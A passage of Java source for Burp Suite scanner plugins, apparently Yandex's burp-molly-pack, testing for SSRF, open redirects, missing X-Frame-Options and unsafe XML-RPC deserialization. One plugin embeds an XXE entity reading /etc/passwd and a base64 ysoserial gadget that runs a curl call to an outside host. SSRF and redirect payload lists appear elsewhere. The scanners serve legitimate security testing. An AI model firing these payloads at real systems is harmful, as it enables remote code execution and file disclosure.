@Override public IScanIssue grep(IHttpRequestResponse baseRequestResponse) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); if (resp == null) return null; List<String> headers = resp.getHeaders(); short statusCode = resp.getStatusCode(); if (ignoreCodes != null && ignoreCodes.contains(new Integer(statusCode))) return null; String contentTypeHeader = Utils.getContentType(resp); if (contentTypeHeader != null && !contentTypeHeader.toUpperCase().contains("TEXT/HTML")) return null; String xFrameOptionsHeader = Utils.getHeaderValue(headers, "X-Frame-Options"); if (xFrameOptionsHeader == null) { String issueDetails = "Vulnerability detected at <b> " + helpers.analyzeRequest(baseRequestResponse).getUrl().toString() + "</b>\n" + "X-FRAME-OPTIONS: doesn't exists"; return new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(baseRequestResponse, null, null)}, issueDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } if (!xFrameOptionsHeader.toUpperCase().contains("DENY") && !xFrameOptionsHeader.toUpperCase().contains("SAMEORIGIN")) { String issueDetails = "Vulnerability detected at <b> " + helpers.analyzeRequest(baseRequestResponse).getUrl().toString() + "</b>\n" + "X-FRAME-OPTIONS: exists, but doesn't contains DENY or SAMEORIGIN value"; List responseMarkers = new ArrayList(1); String responseString = helpers.bytesToString(baseRequestResponse.getResponse()); responseMarkers.add(new int[]{responseString.toUpperCase().indexOf("X-FRAME-OPTIONS:"), responseString.toUpperCase().indexOf("X-FRAME-OPTIONS:") + "X-FRAME-OPTIONS:".length()}); return new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(baseRequestResponse, null, responseMarkers)}, issueDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } return null; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/IAuditPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/IAuditPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.IHttpRequestResponse; import burp.IScanIssue; import burp.IScannerInsertionPoint; import java.util.List; /** * Created by a-abakumov on 16/02/2017. */ public interface IAuditPlugin { List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/YaSSRFPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/YaSSRFPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.util.ArrayList; import java.util.List; /** * Created by a-abakumov on 25/02/2017. */ public class YaSSRFPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private static final List<String> SSRFPayloads = new ArrayList<>(); private final int ISSUE_TYPE = 0x080a0007; private final String ISSUE_NAME_HTTP_INTERACTION = "SSRF Molly HTTP Interaction"; private final String SEVERITY_HTTP_INTERACTION = "High"; private final String CONFIDENCE_HTTP_INTERACTION = "Certain"; private final String ISSUE_NAME_DNS_INTERACTION = "SSRF Molly DNS Interaction"; private final String SEVERITY_DNS_INTERACTION = "Medium"; private final String CONFIDENCE_DNS_INTERACTION = "Certain"; public YaSSRFPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); initSSRFPayloads(); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); List<IScanIssue> issues = new ArrayList<>(); for (String payload : SSRFPayloads) { String collaboratorPayload = collaboratorContext.generatePayload(true); payload = payload.replace("{payloadUrl}", collaboratorPayload); IHttpRequestResponse attackRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), insertionPoint.buildRequest(helpers.stringToBytes(payload))); List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(collaboratorPayload); if (!collaboratorInteractions.isEmpty()) { for (IBurpCollaboratorInteraction collaboratorInteraction : collaboratorInteractions) { String type = collaboratorInteraction.getProperty("type"); if (type.equalsIgnoreCase("http")) { String attackDetails = "The web server receives a URL <b> " + payload + " </b> " + " at <b>" + insertionPoint.getInsertionPointName().toString() + " </b> or similar request from an upstream component and" + " retrieves the contents of this URL, but it does not sufficiently ensure that the HTTP request is being" + " sent to the expected destination."; issues.add(new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(attackRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(attackRequestResponse, null, null)}, attackDetails, ISSUE_TYPE, ISSUE_NAME_HTTP_INTERACTION, SEVERITY_HTTP_INTERACTION, CONFIDENCE_HTTP_INTERACTION, "", "", "")); } if (type.equalsIgnoreCase("dns")) { String attackDetails = "The web server receives a URL <b> " + payload + " </b> " + " at <b>" + insertionPoint.getInsertionPointName().toString() + " </b> " + " and made DNS request. Please check for SSRF Vulnerability"; issues.add(new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(attackRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(attackRequestResponse, null, null)}, attackDetails, ISSUE_TYPE, ISSUE_NAME_DNS_INTERACTION, SEVERITY_DNS_INTERACTION, CONFIDENCE_DNS_INTERACTION, "", "", "")); } } } } List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchAllCollaboratorInteractions(); if (!collaboratorInteractions.isEmpty()) { for (IBurpCollaboratorInteraction collaboratorInteraction : collaboratorInteractions) { String type = collaboratorInteraction.getProperty("type"); if (type.equalsIgnoreCase("http")) { String attackDetails = "The web server receives a URL at <b> " + insertionPoint.getInsertionPointName().toString() + "</b> or similar request from an upstream component and" + " retrieves the contents of this URL, but it does not sufficiently ensure that the HHTP request is being" + " sent to the expected destination."; issues.add(new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(baseRequestResponse, null, null)}, attackDetails, ISSUE_TYPE, ISSUE_NAME_HTTP_INTERACTION, SEVERITY_HTTP_INTERACTION, CONFIDENCE_HTTP_INTERACTION, "", "", "")); } if (type.equalsIgnoreCase("dns")) { String attackDetails = "The web server receives a URL at <b> " + insertionPoint.getInsertionPointName().toString() + "</b> and made DNS request. Please check for SSRF Vulnerability"; issues.add(new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(baseRequestResponse, null, null)}, attackDetails, ISSUE_TYPE, ISSUE_NAME_DNS_INTERACTION, SEVERITY_DNS_INTERACTION, CONFIDENCE_DNS_INTERACTION, "", "", "")); } } } return issues.isEmpty() ? null : issues; } public void initSSRFPayloads() { SSRFPayloads.add("{payloadUrl}"); SSRFPayloads.add("http://{payloadUrl}"); SSRFPayloads.add("https://{payloadUrl}"); SSRFPayloads.add("https://{payloadUrl}/"); SSRFPayloads.add("//{payloadUrl}"); SSRFPayloads.add(".{payloadUrl}"); SSRFPayloads.add("@{payloadUrl}"); SSRFPayloads.add(":@{payloadUrl}"); } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/YaExpressRedirectPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/YaExpressRedirectPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.Utils; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Created by a-abakumov on 07/02/2017. */ public class YaExpressRedirectPlugin implements IAuditPlugin { private static final ArrayList<String> Payloads = new ArrayList<>(); private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private final int ISSUE_TYPE = 0x080a0004; private final String ISSUE_NAME = "YaExpress Redirect Issue"; private final String SEVERITY = "Medium"; private final String CONFIDENCE = "Certain"; /* private final List<String> REDIRECTS = Arrays.asList("//EXAMPLE.COM", "/\\EXAMPLE.COM", "\\/EXAMPLE.COM", "HTTPS://EXAMPLE.COM", "HTTP://EXAMPLE.COM", // Internet Explorer "/\t/EXAMPLE.COM", "\\\t\\EXAMPLE.COM", // Chrome "///EXAMPLE.COM", "\\/\\EXAMPLE.COM", "/\\/EXAMPLE.COM"); */ private static final Pattern REDIRECT_PATTERN = Pattern.compile("^(?:(?:HTTPS?:(?:\\/{2,}|(?:\\\\\\/){2,}))|(?:\\/\\/|\\/\\t\\/|\\/\\\\|\\\\\\t\\\\|\\/\\\\\\/|\\\\\\/\\\\|\\/\\/\\/{1,}))EXAMPLE\\.COM"); public YaExpressRedirectPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); initPayloads(); } private void initPayloads() { Payloads.add("%5cexample.com/%2e%2e"); Payloads.add("example.com/%2e%2e"); Payloads.add("%5cexample.com%3f/doc/"); Payloads.add("%2fexample.com"); Payloads.add("/%5cexample.com/%2e%2e"); Payloads.add("/example.com/%2e%2e"); Payloads.add("/%5cexample.com%3f/doc/"); Payloads.add("/%2fexample.com"); Payloads.add("example.com"); } public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(url.toString())) return null; else flags.add(url.toString()); List<IScanIssue> issues = new ArrayList<>(); IHttpService httpService = baseRequestResponse.getHttpService(); List<String> headers = req.getHeaders(); for (String i : Payloads) { String finalPayload = req.getMethod() + " " + url.getPath() + i + " HTTP/1.1"; headers.set(0, finalPayload); byte[] body = helpers.stringToBytes(helpers.bytesToString(baseRequestResponse.getRequest()).substring(req.getBodyOffset())); byte[] modifiedReq = helpers.buildHttpMessage(headers, body); IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, modifiedReq); IScanIssue res = analyzeResponse(attack); if (res != null) issues.add(res); } if (issues.size() > 0) return issues; return issues; } public IScanIssue analyzeResponse(IHttpRequestResponse requestResponse) { IResponseInfo resp = helpers.analyzeResponse(requestResponse.getResponse()); if (resp == null || resp.getStatusCode() < 300 || resp.getStatusCode() >= 400) return null; List<String> headers = resp.getHeaders(); String locationHeader = Utils.getHeaderValue(headers, "Location"); if (locationHeader == null) return null; Matcher redirectMatcher = REDIRECT_PATTERN.matcher(locationHeader.toUpperCase()); if (redirectMatcher.find()) { String attackDetails = "A open redirect vulnerability was found at: <b>" + helpers.analyzeRequest(requestResponse).getUrl().toString() + "</b>\n"; List responseMarkers = new ArrayList(1); responseMarkers.add(new int[]{helpers.bytesToString(requestResponse.getResponse()).toUpperCase().indexOf("LOCATION"), helpers.bytesToString(requestResponse.getResponse()).toUpperCase().indexOf("LOCATION") + "LOCATION".length()}); return new CustomScanIssue(requestResponse.getHttpService(), this.helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(requestResponse, null, responseMarkers)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } return null; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/XmlRpcSerializablePlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/XmlRpcSerializablePlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.net.URL; import java.util.ArrayList; import java.util.HashSet; import java.util.List; /** * Created by a-abakumov on 19/04/2017. */ public class XmlRpcSerializablePlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private final int ISSUE_TYPE = 0x080a000e; private final String ISSUE_NAME = "XML RPC Deserialization User Input"; private final String SEVERITY = "High"; private final String CONFIDENCE = "Certain"; private final String PAYLOAD = "<!DOCTYPE root[\n<!ENTITY foo SYSTEM \"file:///etc/passwd\">\n]>\n <methodCall>\n" + "<methodName>1</methodName>\n<params>\n<param><value><struct><member><name>aaaa</name>\n<value>" + "<ex:serializable xmlns:ex=\"http://ws.apache.org/xmlrpc/namespaces/extensions\">\n" + "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP" + "0AAAAAAAAB3CAAAAAIAAAACc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5z" + "wCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmp" + "lY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGVLLRkFMaLDdQIADFoAEmhhc05vdE51" + "bGxQcm9wZXJ0eVoABWlzS2V5SQAMcHJvcGVydHlTcGFuTAAPY2FuRG9FeHRyYWN0aW9udAATTGphdmEvbGFuZ" + "y9Cb29sZWFuO1sAB2Nhc2NhZGV0AChbTG9yZy9oaWJlcm5hdGUvZW5naW5lL3NwaS9DYXNjYWRlU3R5bGU7TA" + "ARY29tcG9uZW50VHVwbGl6ZXJ0ADFMb3JnL2hpYmVybmF0ZS90dXBsZS9jb21wb25lbnQvQ29tcG9uZW50VHV" + "wbGl6ZXI7TAAKZW50aXR5TW9kZXQAGkxvcmcvaGliZXJuYXRlL0VudGl0eU1vZGU7WwALam9pbmVkRmV0Y2h0" + "ABpbTG9yZy9oaWJlcm5hdGUvRmV0Y2hNb2RlO1sADXByb3BlcnR5TmFtZXN0ABNbTGphdmEvbGFuZy9TdHJpb" + "mc7WwATcHJvcGVydHlOdWxsYWJpbGl0eXQAAltaWwANcHJvcGVydHlUeXBlc3QAGltMb3JnL2hpYmVybmF0ZS" + "90eXBlL1R5cGU7TAAJdHlwZVNjb3BldAAqTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlRmFjdG9yeSRUeXBlU2N" + "vcGU7eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGX6DMO0n0LdQQIAAHhwAAAAAAABcHBzcgAz" + "b3JnLmhpYmVybmF0ZS50dXBsZS5jb21wb25lbnQuUG9qb0NvbXBvbmVudFR1cGxpemVytZ5Tkmx3CPoCAARMA" + "A5jb21wb25lbnRDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAJb3B0aW1pemVydAAwTG9yZy9oaWJlcm5hdG" + "UvYnl0ZWNvZGUvc3BpL1JlZmxlY3Rpb25PcHRpbWl6ZXI7TAAMcGFyZW50R2V0dGVydAAfTG9yZy9oaWJlcm5" + "hdGUvcHJvcGVydHkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAH0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L1Nl" + "dHRlcjt4cgA3b3JnLmhpYmVybmF0ZS50dXBsZS5jb21wb25lbnQuQWJzdHJhY3RDb21wb25lbnRUdXBsaXplc" + "s8SWGKuCeZ0AgAFWgASaGFzQ3VzdG9tQWNjZXNzb3JzSQAMcHJvcGVydHlTcGFuWwAHZ2V0dGVyc3QAIFtMb3" + "JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9HZXR0ZXI7TAAMaW5zdGFudGlhdG9ydAAiTG9yZy9oaWJlcm5hdGUvdHV" + "wbGUvSW5zdGFudGlhdG9yO1sAB3NldHRlcnN0ACBbTG9yZy9oaWJlcm5hdGUvcHJvcGVydHkvU2V0dGVyO3hw" + "AAAAAAB1cgAgW0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LkdldHRlcjv4lvypjfvjewIAAHhwAAAAAXNyADhvc" + "mcuaGliZXJuYXRlLnByb3BlcnR5LkJhc2ljUHJvcGVydHlBY2Nlc3NvciRCYXNpY0dldHRlcuf8GjuY3XG8Ag" + "ACTAAFY2xhenpxAH4AE0wADHByb3BlcnR5TmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdnIAOmNvbS5zdW4" + "ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkA" + "DV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbT" + "GphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAfTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1" + "Byb3BlcnRpZXM7eHB0ABBvdXRwdXRQcm9wZXJ0aWVzcHBwcHBwcHBwcHVyABpbTG9yZy5oaWJlcm5hdGUudHl" + "wZS5UeXBlO36vq6HklWGaAgAAeHAAAAABcQB+ABFwc3EAfgAhAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4" + "cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGm8r+ur4AAAAxADgKAAMAIgcANgcAJQcAJgEAEHNlcmlhbFZlc" + "nNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW" + "5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAE" + "ADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBh" + "eWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvR" + "E9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW" + "5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0R" + "PTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" + "cmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb" + "i9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aX" + "NJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXR" + "pb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0v" + "RFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZ" + "XJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACw" + "cAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9" + "zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRq" + "YXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9Uc" + "mFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEW" + "phdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgA" + "rAC4BACBjdXJsIGh0dHA6Ly9oYXJkYzBkZS5jdGYuc3U6ODA5MAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9T" + "dHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQAdeXNvc2VyaWFsL1B3bmVyNjg2MTA0OTA1M" + "TcyMDIBAB9MeXNvc2VyaWFsL1B3bmVyNjg2MTA0OTA1MTcyMDI7ACEAAgADAAEABAABABoABQAGAAEABwAAAA" + "IACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADc" + "AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADcAAAAAAAEA" + "FQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAN" + "wAOAAAAKgAEAAAAAQAPADcAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAA" + "sAAQAMAAAAGwADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXE" + "AfgAsAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3Rh" + "bnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2Nhb" + "FZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy" + "91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3Nlcml" + "hbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFs" + "aXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAA" + "AACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADw" + "ASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ABXNxAH4AAnEAfgARcQB+AClxAH4AMHg=\n" + "</ex:serializable></value></member></struct></value>\n</param>\n</params>\n</methodCall>"; public XmlRpcSerializablePlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(url.toString())) return null; else flags.add(url.toString()); List<IScanIssue> issues = new ArrayList<>(); List<String> headers = helpers.analyzeRequest(baseRequestResponse).getHeaders(); headers.set(0, headers.get(0).replace("GET", "POST")); headers.removeIf(header -> header != null && header.toLowerCase().startsWith("content-type:")); headers.add("Content-type: application/xml;charset=UTF-8"); byte[] attackBody = helpers.buildHttpMessage(headers, helpers.stringToBytes(PAYLOAD)); IHttpRequestResponse attackRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), attackBody); if (attackRequestResponse != null && attackRequestResponse.getResponse() != null && helpers.bytesToString(attackRequestResponse.getResponse()).toLowerCase().contains("faultcode") && (helpers.bytesToString(attackRequestResponse.getResponse()).toLowerCase().contains("http://ws.apache.org/xmlrpc/namespaces/extensions") || helpers.bytesToString(attackRequestResponse.getResponse()).toLowerCase().contains("org.hibernate.engine.spi.typedvalue"))) { String attackDetails = "The application deserialize untrusted serialized Java objects at <b>" + helpers.analyzeRequest(attackRequestResponse).getUrl().toString() + "</b> without first checking the type of the received object. This issue can be" + " exploited by sending malicious objects that, when deserialized," + " execute custom Java code."; issues.add(new CustomScanIssue(attackRequestResponse.getHttpService(), helpers.analyzeRequest(attackRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(attackRequestResponse, null, null)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", "")); } return issues.isEmpty() ? null : issues; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/YaRedirectPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/YaRedirectPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.Utils; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.util.ArrayList; import java.util.Arrays; import java.util.List; /** * Created by a-abakumov on 26/05/2017. */ public class YaRedirectPlugin implements IAuditPlugin { private static final ArrayList<String> Payloads = new ArrayList<>(); private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private final int ISSUE_TYPE = 0x080a000e; private final String ISSUE_NAME = "Yandex Open Redirect Issue"; private final String SEVERITY = "Medium"; private final String CONFIDENCE = "Certain"; private final List<String> REDIRECTS = Arrays.asList("//EXAMPLE.COM", "/\\EXAMPLE.COM", "\\/EXAMPLE.COM", "HTTPS://EXAMPLE.COM", "HTTP://EXAMPLE.COM", // Internet Explorer "/\t/EXAMPLE.COM", "\\\t\\EXAMPLE.COM", // Chrome "///EXAMPLE.COM", "\\/\\EXAMPLE.COM", "/\\/EXAMPLE.COM"); public YaRedirectPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { if (insertionPoint.getInsertionPointType() != IScannerInsertionPoint.INS_PARAM_URL) return null; IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; List<IScanIssue> issues = new ArrayList<>(); IHttpService httpService = baseRequestResponse.getHttpService(); for (String payload : Payloads) { IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, insertionPoint.buildRequest(this.helpers.stringToBytes(payload))); IScanIssue res = analyzeResponse(attack); if (res != null) issues.add(res); } if (issues.size() > 0) return issues; return issues; } public IScanIssue analyzeResponse(IHttpRequestResponse requestResponse) { IResponseInfo resp = helpers.analyzeResponse(requestResponse.getResponse()); if (resp == null || resp.getStatusCode() < 300 || resp.getStatusCode() >= 400) return null; List<String> headers = resp.getHeaders(); String locationHeader = Utils.getHeaderValue(headers, "Location"); if (locationHeader == null) return null; for (String redirect : REDIRECTS) { if (locationHeader.toUpperCase().startsWith(redirect)) { String attackDetails = "Open redirect vulnerability was found at: <b>" + helpers.analyzeRequest(requestResponse).getUrl().toString() + "</b>\n"; List responseMarkers = new ArrayList(1); responseMarkers.add(new int[]{helpers.bytesToString(requestResponse.getResponse()).toUpperCase().indexOf("LOCATION"), helpers.bytesToString(requestResponse.getResponse()).toUpperCase().indexOf("LOCATION") + "LOCATION".length()}); return new 